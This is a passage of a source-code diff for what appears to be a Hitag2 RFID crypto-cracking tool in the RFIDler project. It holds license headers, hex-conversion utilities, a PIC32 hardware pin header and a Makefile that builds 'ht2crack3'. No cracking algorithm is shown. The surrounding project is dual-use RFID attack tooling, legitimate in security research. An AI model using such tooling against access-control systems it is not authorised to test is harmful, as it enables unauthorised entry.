unsigned int hextobinstring(unsigned char *target, unsigned char *source);
unsigned int binarraytohex(unsigned char *target, unsigned char *source, unsigned int length);
void hexprintbinarray(BYTE *bin, unsigned int length);
unsigned int binstringtohex(unsigned char *target, unsigned char *source);
unsigned int binstringtobinarray(BYTE *target, BYTE *source);
void binstringtobyte(BYTE *target, unsigned char *source, BYTE length);
void binarraytobinstring(BYTE *target, BYTE *source, unsigned int length);
void printhexasbin(unsigned char *hex);
void printbinashex(unsigned char *bin);
void invertbinarray(BYTE *target, BYTE *source, unsigned int length);
void invertbinstring(BYTE *target, BYTE *source);
void printbinarray(unsigned char *bin, unsigned int length);
unsigned char getbit(unsigned char byte, unsigned char bit);
void bytestohex(unsigned char *target, unsigned char *source, unsigned int length);
unsigned int manchester_encode(unsigned char *target, unsigned char *source, unsigned int length);
unsigned int manchester_decode(unsigned char *target, unsigned char *source, unsigned int length);
char * strip_newline(char *buff);
BOOL command_ack(BOOL data);
BOOL command_nack(BYTE *reason);
BOOL command_unknown(void);
void ToUpper(char *string);
void string_reverse(unsigned char *string, unsigned int length);
BOOL string_byteswap(unsigned char *string, unsigned int length);
BYTE parity(unsigned char *string, BYTE type, unsigned int length);
unsigned long get_reader_pulse(unsigned int timeout_us);
unsigned long get_reader_gap(unsigned int timeout_us);
unsigned int crc_ccitt(BYTE *data, unsigned int length);
unsigned int crc16(unsigned int crc, BYTE *data, unsigned int length, unsigned int mask);
void space_indent(BYTE count);
void xml_version(void);
void xml_header(BYTE *item, BYTE *indent);
void xml_footer(BYTE *item, BYTE *indent, BOOL newline);
void xml_indented_text(BYTE *data, BYTE indent);
void xml_item_text(BYTE *item, BYTE *data, BYTE *indent);
void xml_item_decimal(BYTE *item, BYTE num, BYTE *indent);
void xml_indented_array(BYTE *data, BYTE mask, unsigned int length, BYTE indent);
void xml_item_array(BYTE *item, BYTE *data, BYTE mask, unsigned int length, BYTE *indent);

View file

@ -0,0 +1,183 @@
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie <adam@aperturelabs.com>
#include <string.h>
#include <stdio.h>
#include "HardwareProfile.h"
#include "util.h"
#include "rfidler.h"
//#include "comms.h"
// rtc
rtccTime RTC_time; // time structure
rtccDate RTC_date; // date structure
// convert byte-reversed 8 digit hex to unsigned long
unsigned long hexreversetoulong(BYTE *hex)
{
unsigned long ret= 0L;
unsigned int x;
BYTE i;
if(strlen(hex) != 8)
return 0L;
for(i= 0 ; i < 4 ; ++i)
{
if(sscanf(hex, "%2X", &x) != 1)
return 0L;
ret += ((unsigned long) x) << i * 8;
hex += 2;
}
return ret;
}
// convert byte-reversed 12 digit hex to unsigned long
unsigned long long hexreversetoulonglong(BYTE *hex)
{
unsigned long long ret= 0LL;
BYTE tmp[9];
// this may seem an odd way to do it, but weird compiler issues were
// breaking direct conversion!
tmp[8]= '\0';
memset(tmp + 4, '0', 4);
memcpy(tmp, hex + 8, 4);
ret= hexreversetoulong(tmp);
ret <<= 32;
memcpy(tmp, hex, 8);
ret += hexreversetoulong(tmp);
return ret;
}

6
tools/hitag2crack/crack3/.gitignore vendored Normal file
View file

@ -0,0 +1,6 @@
ht2crack3
ht2test
ht2crack3.exe
ht2test.exe

View file

@ -0,0 +1,524 @@
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie <adam@aperturelabs.com>
#ifndef HARDWARE_PROFILE_UBW32_H
#define HARDWARE_PROFILE_UBW32_H
//#include "plib.h"
typedef char BOOL;
typedef char BYTE;
typedef int rtccTime;
typedef int rtccDate;
#ifndef __PIC32MX__
#define __PIC32MX__
#endif
#define GetSystemClock() (80000000ul)
#define GetPeripheralClock() (GetSystemClock())
#define GetInstructionClock() (GetSystemClock())
//#define USE_SELF_POWER_SENSE_IO
#define tris_self_power TRISAbits.TRISA2 // Input
#define self_power 1
//#define USE_USB_BUS_SENSE_IO
#define tris_usb_bus_sense TRISBbits.TRISB5 // Input
#define USB_BUS_SENSE 1
// LEDs
#define mLED_1 LATEbits.LATE3
#define mLED_2 LATEbits.LATE2
#define mLED_Comms mLED_2
#define mLED_3 LATEbits.LATE1
#define mLED_Clock mLED_3
#define mLED_4 LATEbits.LATE0
#define mLED_Emulate mLED_4
#define mLED_5 LATGbits.LATG6
#define mLED_Read mLED_5
#define mLED_6 LATAbits.LATA15
#define mLED_User mLED_6
#define mLED_7 LATDbits.LATD11
#define mLED_Error mLED_7
// active low
#define mLED_ON 0
#define mLED_OFF 1
#define mGetLED_1() mLED_1
#define mGetLED_USB() mLED_1
#define mGetLED_2() mLED_2
#define mGetLED_Comms() mLED_2
#define mGetLED_3() mLED_3
#define mGetLED_Clock() mLED_3
#define mGetLED_4() mLED_4
#define mGetLED_Emulate() mLED_4
#define mGetLED_5() mLED_5
#define mGetLED_Read() mLED_5
#define mGetLED_6() mLED_6
#define mGetLED_User() mLED_6
#define mGetLED_7() mLED_7
#define mGetLED_Error() mLED_7
#define mLED_1_On() mLED_1 = mLED_ON
#define mLED_USB_On() mLED_1_On()
#define mLED_2_On() mLED_2 = mLED_ON
#define mLED_Comms_On() mLED_2_On()
#define mLED_3_On() mLED_3 = mLED_ON
#define mLED_Clock_On() mLED_3_On()
#define mLED_4_On() mLED_4 = mLED_ON
#define mLED_Emulate_On() mLED_4_On()
#define mLED_5_On() mLED_5 = mLED_ON
#define mLED_Read_On() mLED_5_On()
#define mLED_6_On() mLED_6 = mLED_ON
#define mLED_User_On() mLED_6_On()
#define mLED_7_On() mLED_7 = mLED_ON
#define mLED_Error_On() mLED_7_On()
#define mLED_1_Off() mLED_1 = mLED_OFF
#define mLED_USB_Off() mLED_1_Off()
#define mLED_2_Off() mLED_2 = mLED_OFF
#define mLED_Comms_Off() mLED_2_Off()
#define mLED_3_Off() mLED_3 = mLED_OFF
#define mLED_Clock_Off() mLED_3_Off()
#define mLED_4_Off() mLED_4 = mLED_OFF
#define mLED_Emulate_Off() mLED_4_Off()
#define mLED_5_Off() mLED_5 = mLED_OFF
#define mLED_Read_Off() mLED_5_Off()
#define mLED_6_Off() mLED_6 = mLED_OFF
#define mLED_User_Off() mLED_6_Off()
#define mLED_7_Off() mLED_7 = mLED_OFF
#define mLED_Error_Off() mLED_7_Off()
#define mLED_1_Toggle() mLED_1 = !mLED_1
#define mLED_USB_Toggle() mLED_1_Toggle()
#define mLED_2_Toggle() mLED_2 = !mLED_2
#define mLED_Comms_Toggle() mLED_2_Toggle()
#define mLED_3_Toggle() mLED_3 = !mLED_3
#define mLED_Clock_Toggle() mLED_3_Toggle()
#define mLED_4_Toggle() mLED_4 = !mLED_4
#define mLED_Emulate_Toggle() mLED_4_Toggle()
#define mLED_5_Toggle() mLED_5 = !mLED_5
#define mLED_Read_Toggle( ) mLED_5_Toggle()
#define mLED_6_Toggle() mLED_6 = !mLED_6
#define mLED_User_Toggle() mLED_6_Toggle()
#define mLED_7_Toggle() mLED_7 = !mLED_7
#define mLED_Error_Toggle() mLED_7_Toggle()
#define mLED_All_On() { mLED_1_On(); mLED_2_On(); mLED_3_On(); mLED_4_On(); mLED_5_On(); mLED_6_On(); mLED_7_On(); }
#define mLED_All_Off() { mLED_1_Off(); mLED_2_Off(); mLED_3_Off(); mLED_4_Off(); mLED_5_Off(); mLED_6_Off(); mLED_7_Off(); }
// usb status lights
#define mLED_Both_Off() {mLED_USB_Off();mLED_Comms_Off();}
#define mLED_Both_On() {mLED_USB_On();mLED_Comms_On();}
#define mLED_Only_USB_On() {mLED_USB_On();mLED_Comms_Off();}
#define mLED_Only_Comms_On() {mLED_USB_Off();mLED_Comms_On();}
/** SWITCH *********************************************************/
#define swBootloader PORTEbits.RE7
#define swUser PORTEbits.RE6
/** I/O pin definitions ********************************************/
#define INPUT_PIN 1
#define OUTPUT_PIN 0
#define TRUE 1
#define FALSE 0
#define ENABLE 1
#define DISABE 0
#define EVEN 0
#define ODD 1
#define LOW FALSE
#define HIGH TRUE
#define CLOCK_ON LOW
#define CLOCK_OFF HIGH
// output coil control - select between reader/emulator circuits
#define COIL_MODE LATBbits.LATB4
#define COIL_MODE_READER() COIL_MODE= LOW
#define COIL_MODE_EMULATOR() COIL_MODE= HIGH
// coil for emulation
#define COIL_OUT LATGbits.LATG9
#define COIL_OUT_HIGH() COIL_OUT=HIGH
#define COIL_OUT_LOW() COIL_OUT=LOW
// door relay (active low)
#define DOOR_RELAY LATAbits.LATA14
#define DOOR_RELAY_OPEN() DOOR_RELAY= HIGH
#define DOOR_RELAY_CLOSE() DOOR_RELAY= LOW
// inductance/capacitance freq
#define IC_FREQUENCY PORTAbits.RA2
#define SNIFFER_COIL PORTDbits.RD12 // external reader clock detect
#define READER_ANALOGUE PORTBbits.RB11 // reader coil analogue
#define DIV_LOW_ANALOGUE PORTBbits.RB12 // voltage divider LOW analogue
#define DIV_HIGH_ANALOGUE PORTBbits.RB13 // voltage divider HIGH analogue
// clock coil (normally controlled by OC Module, but defined here so we can force it high or low)
#define CLOCK_COIL PORTDbits.RD4
#define CLOCK_COIL_MOVED PORTDbits.RD0 // temporary for greenwire
// digital output after analogue reader circuit
#define READER_DATA PORTDbits.RD8
// trace / debug
#define DEBUG_PIN_1 LATCbits.LATC1
#define DEBUG_PIN_1_TOGGLE() DEBUG_PIN_1= !DEBUG_PIN_1
#define DEBUG_PIN_2 LATCbits.LATC2
#define DEBUG_PIN_2_TOGGLE() DEBUG_PIN_2= !DEBUG_PIN_2
#define DEBUG_PIN_3 LATCbits.LATC3
#define DEBUG_PIN_3_TOGGLE() DEBUG_PIN_3= !DEBUG_PIN_3
#define DEBUG_PIN_4 LATEbits.LATE5
#define DEBUG_PIN_4_TOGGLE() DEBUG_PIN_4= !DEBUG_PIN_4
// spi (sdi1) for sd card (not directly referenced)
//#define SD_CARD_RX LATCbits.LATC4
//#define SD_CARD_TX LATDbits.LATD0
//#define SD_CARD_CLK LATDbits.LATD10
//#define SD_CARD_SS LATDbits.LATD9
// spi for SD card
#define SD_CARD_DET LATFbits.LATF0
#define SD_CARD_WE LATFbits.LATF1 // write enable - unused for microsd but allocated anyway as library checks it
// (held LOW by default - cut solder bridge to GND to free pin if required)
#define SPI_SD SPI_CHANNEL1
#define SPI_SD_BUFF SPI1BUF
#define SPI_SD_STAT SPI1STATbits
// see section below for more defines!
// iso 7816 smartcard
// microchip SC module defines pins so we don't need to, but
// they are listed here to help avoid conflicts
#define ISO_7816_RX LATBbits.LATF2 // RX
#define ISO_7816_TX LATBbits.LATF8 // TX
#define ISO_7816_VCC LATBbits.LATB9 // Power
#define ISO_7816_CLK LATCbits.LATD1 // Clock
#define ISO_7816_RST LATEbits.LATE8 // Reset
// user LED
#define USER_LED LATDbits.LATD7
#define USER_LED_ON() LATDbits.LATD7=1
#define USER_LED_OFF() LATDbits.LATD7=0
// LCR
#define LCR_CALIBRATE LATBbits.LATB5
// wiegand / clock & data
#define WIEGAND_IN_0 PORTDbits.RD5
#define WIEGAND_IN_0_PULLUP CNPUEbits.CNPUE14
#define WIEGAND_IN_0_PULLDOWN CNPDbits.CNPD14
#define WIEGAND_IN_1 PORTDbits.RD6
#define WIEGAND_IN_1_PULLUP CNPUEbits.CNPUE15
#define WIEGAND_IN_1_PULLDOWN CNPDbits.CNPD15
#define CAND_IN_DATA WIEGAND_IN_0
#define CAND_IN_CLOCK WIEGAND_IN_1
#define WIEGAND_OUT_0 LATDbits.LATD3
#define WIEGAND_OUT_1 LATDbits.LATD2
#define WIEGAND_OUT_0_TRIS TRISDbits.TRISD3
#define WIEGAND_OUT_1_TRIS TRISDbits.TRISD2
#define CAND_OUT_DATA WIEGAND_OUT_0
#define CAND_OUT_CLOCK WIEGAND_OUT_1
// connect/disconnect reader clock from coil - used to send RWD signals by creating gaps in carrier
#define READER_CLOCK_ENABLE LATEbits.LATE9
#define READER_CLOCK_ENABLE_ON() READER_CLOCK_ENABLE=CLOCK_ON
#define READER_CLOCK_ENABLE_OFF(x) {READER_CLOCK_ENABLE=CLOCK_OFF; COIL_OUT=x;}
// these input pins must NEVER bet set to output or they will cause short circuits!
// they can be used to see data from reader before it goes into or gate
#define OR_IN_A PORTAbits.RA4
#define OR_IN_B PORTAbits.RA5
// CNCON and CNEN are set to allow wiegand input pin weak pullups to be switched on
#define Init_GPIO() { \
CNCONbits.ON= TRUE; \
CNENbits.CNEN14= TRUE; \
CNENbits.CNEN15= TRUE; \
TRISAbits.TRISA2= INPUT_PIN; \
TRISAbits.TRISA4= INPUT_PIN; \
TRISAbits.TRISA5= INPUT_PIN; \
TRISAbits.TRISA14= OUTPUT_PIN; \
TRISAbits.TRISA15= OUTPUT_PIN; \
TRISBbits.TRISB4= OUTPUT_PIN; \
TRISBbits.TRISB5= OUTPUT_PIN; \
TRISBbits.TRISB9= OUTPUT_PIN; \
TRISBbits.TRISB11= INPUT_PIN; \
TRISBbits.TRISB12= INPUT_PIN; \
TRISBbits.TRISB13= INPUT_PIN; \
TRISCbits.TRISC1= OUTPUT_PIN; \
TRISCbits.TRISC2= OUTPUT_PIN; \
TRISCbits.TRISC3= OUTPUT_PIN; \
TRISCbits.TRISC4= INPUT_PIN; \
TRISDbits.TRISD0= INPUT_PIN; \
TRISDbits.TRISD1= OUTPUT_PIN; \
TRISDbits.TRISD2= OUTPUT_PIN; \
TRISDbits.TRISD3= OUTPUT_PIN; \
TRISDbits.TRISD4= OUTPUT_PIN; \
TRISDbits.TRISD5= INPUT_PIN; \
TRISDbits.TRISD6= INPUT_PIN; \
TRISDbits.TRISD7= OUTPUT_PIN; \
TRISDbits.TRISD8= INPUT_PIN; \
TRISDbits.TRISD11= OUTPUT_PIN; \
TRISDbits.TRISD12= INPUT_PIN; \
TRISEbits.TRISE0= OUTPUT_PIN; \
TRISEbits.TRISE1= OUTPUT_PIN; \
TRISEbits.TRISE2= OUTPUT_PIN; \
TRISEbits.TRISE3= OUTPUT_PIN; \
TRISEbits.TRISE5= OUTPUT_PIN; \
TRISEbits.TRISE6= INPUT_PIN; \
TRISEbits.TRISE7= INPUT_PIN; \
TRISEbits.TRISE8= OUTPUT_PIN; \
TRISEbits.TRISE9= OUTPUT_PIN; \
TRISFbits.TRISF0= INPUT_PIN; \
TRISFbits.TRISF1= INPUT_PIN; \
TRISFbits.TRISF2= INPUT_PIN; \
TRISFbits.TRISF8= OUTPUT_PIN; \
TRISGbits.TRISG6= OUTPUT_PIN; \
TRISGbits.TRISG12= INPUT_PIN; \
TRISGbits.TRISG13= INPUT_PIN; \
TRISGbits.TRISG9= OUTPUT_PIN; \
LATBbits.LATB9= LOW; \
LATCbits.LATC1= LOW; \
LATCbits.LATC2= LOW; \
LATCbits.LATC3= LOW; \
LATDbits.LATD2= WIEGAND_IN_1; \
LATDbits.LATD3= WIEGAND_IN_0; \
LATEbits.LATE5= LOW; \
LATEbits.LATE9= HIGH; \
}
// uart3 (CLI/API) speed
#define BAUDRATE3 115200UL
#define BRG_DIV3 4
#define BRGH3 1
// spi for potentiometer
#define SPI_POT SPI_CHANNEL4
#define SPI_POT_BUFF SPI4BUF
#define SPI_POT_STAT SPI4STATbits
// spi for sd card - defines required for Microchip SD-SPI libs
// define interface type
#define USE_SD_INTERFACE_WITH_SPI
#define MDD_USE_SPI_1
#define SPI_START_CFG_1 (PRI_PRESCAL_64_1 | SEC_PRESCAL_8_1 | MASTER_ENABLE_ON | SPI_CKE_ON | SPI_SMP_ON)
#define SPI_START_CFG_2 (SPI_ENABLE)
// Define the SPI frequency
#define SPI_FREQUENCY (20000000)
// Description: SD-SPI Card Detect Input bit
#define SD_CD PORTFbits.RF0
// Description: SD-SPI Card Detect TRIS bit
#define SD_CD_TRIS TRISFbits.TRISF0
// Description: SD-SPI Write Protect Check Input bit
#define SD_WE PORTFbits.RF1
// Description: SD-SPI Write Protect Check TRIS bit
#define SD_WE_TRIS TRISFbits.TRISF1
// Description: The main SPI control register
#define SPICON1 SPI1CON
// Description: The SPI status register
#define SPISTAT SPI1STAT
// Description: The SPI Buffer
#define SPIBUF SPI1BUF
// Description: The receive buffer full bit in the SPI status register
#define SPISTAT_RBF SPI1STATbits.SPIRBF
// Description: The bitwise define for the SPI control register (i.e. _____bits)
#define SPICON1bits SPI1CONbits
// Description: The bitwise define for the SPI status register (i.e. _____bits)
#define SPISTATbits SPI1STATbits
// Description: The enable bit for the SPI module
#define SPIENABLE SPICON1bits.ON
// Description: The definition for the SPI baud rate generator register (PIC32)
#define SPIBRG SPI1BRG
// Description: The TRIS bit for the SCK pin
#define SPICLOCK TRISDbits.TRISD10
// Description: The TRIS bit for the SDI pin
#define SPIIN TRISCbits.TRISC4
// Description: The TRIS bit for the SDO pin
#define SPIOUT TRISDbits.TRISD0
#define SD_CS LATDbits.LATD9
// Description: SD-SPI Chip Select TRIS bit
#define SD_CS_TRIS TRISDbits.TRISD9
//SPI library functions
#define putcSPI putcSPI1
#define getcSPI getcSPI1
#define OpenSPI(config1, config2) OpenSPI1(config1, config2)
// Define setup parameters for OpenADC10 function
// Turn module on | Ouput in integer format | Trigger mode auto | Enable autosample
#define ADC_CONFIG1 (ADC_FORMAT_INTG | ADC_CLK_AUTO | ADC_AUTO_SAMPLING_ON)
// ADC ref external | Disable offset test | Disable scan mode | Perform 2 samples | Use dual buffers | Use alternate mode
#define ADC_CONFIG2 (ADC_VREF_AVDD_AVSS | ADC_OFFSET_CAL_DISABLE | ADC_SCAN_OFF | ADC_SAMPLES_PER_INT_1 | ADC_ALT_BUF_ON | ADC_ALT_INPUT_ON)
// Use ADC internal clock | Set sample time
#define ADC_CONFIG3 (ADC_CONV_CLK_INTERNAL_RC | ADC_SAMPLE_TIME_0)
// slow sample rate for tuning coils
#define ADC_CONFIG2_SLOW (ADC_VREF_AVDD_AVSS | ADC_OFFSET_CAL_DISABLE | ADC_SCAN_OFF | ADC_SAMPLES_PER_INT_16 | ADC_ALT_BUF_ON | ADC_ALT_INPUT_ON)
#define ADC_CONFIG3_SLOW (ADC_CONV_CLK_INTERNAL_RC | ADC_SAMPLE_TIME_31)
// use AN11
#define ADC_CONFIGPORT ENABLE_AN11_ANA
// Do not assign channels to scan
#define ADC_CONFIGSCAN SKIP_SCAN_ALL
#define ADC_TO_VOLTS 0.003208F
// flash memory - int myvar = *(int*)(myflashmemoryaddress);
// memory is 0x9D005000 to 0x9D07FFFF
#define NVM_MEMORY_END 0x9D07FFFF
#define NVM_PAGE_SIZE 4096
#define NVM_PAGES 2 // config & VTAG
#define RFIDLER_NVM_ADDRESS (NVM_MEMORY_END - (NVM_PAGE_SIZE * NVM_PAGES))
// UART timeout in us
#define SERIAL_TIMEOUT 100
#endif

View file

@ -0,0 +1,19 @@
WARN=-Wall
INCLUDE=-I../include
CFLAGS=-c $(WARN) $(INCLUDE)
LIBS=
all: ht2crack3.c ht2test.c hitagcrypto.o utilpart.o
cc $(WARN) -o ht2crack3 ht2crack3.c hitagcrypto.o utilpart.o -lpthread $(LIBS)
cc $(WARN) -o ht2test ht2test.c hitagcrypto.o utilpart.o $(LIBS)
hitagcrypto.o: hitagcrypto.c hitagcrypto.h
cc $(CFLAGS) hitagcrypto.c
utilpart.o: utilpart.c util.h
cc $(CFLAGS) utilpart.c
clean:
rm -rf *.o ht2crack3 ht2test
fresh: clean all

View file

@ -0,0 +1,485 @@
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2015 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
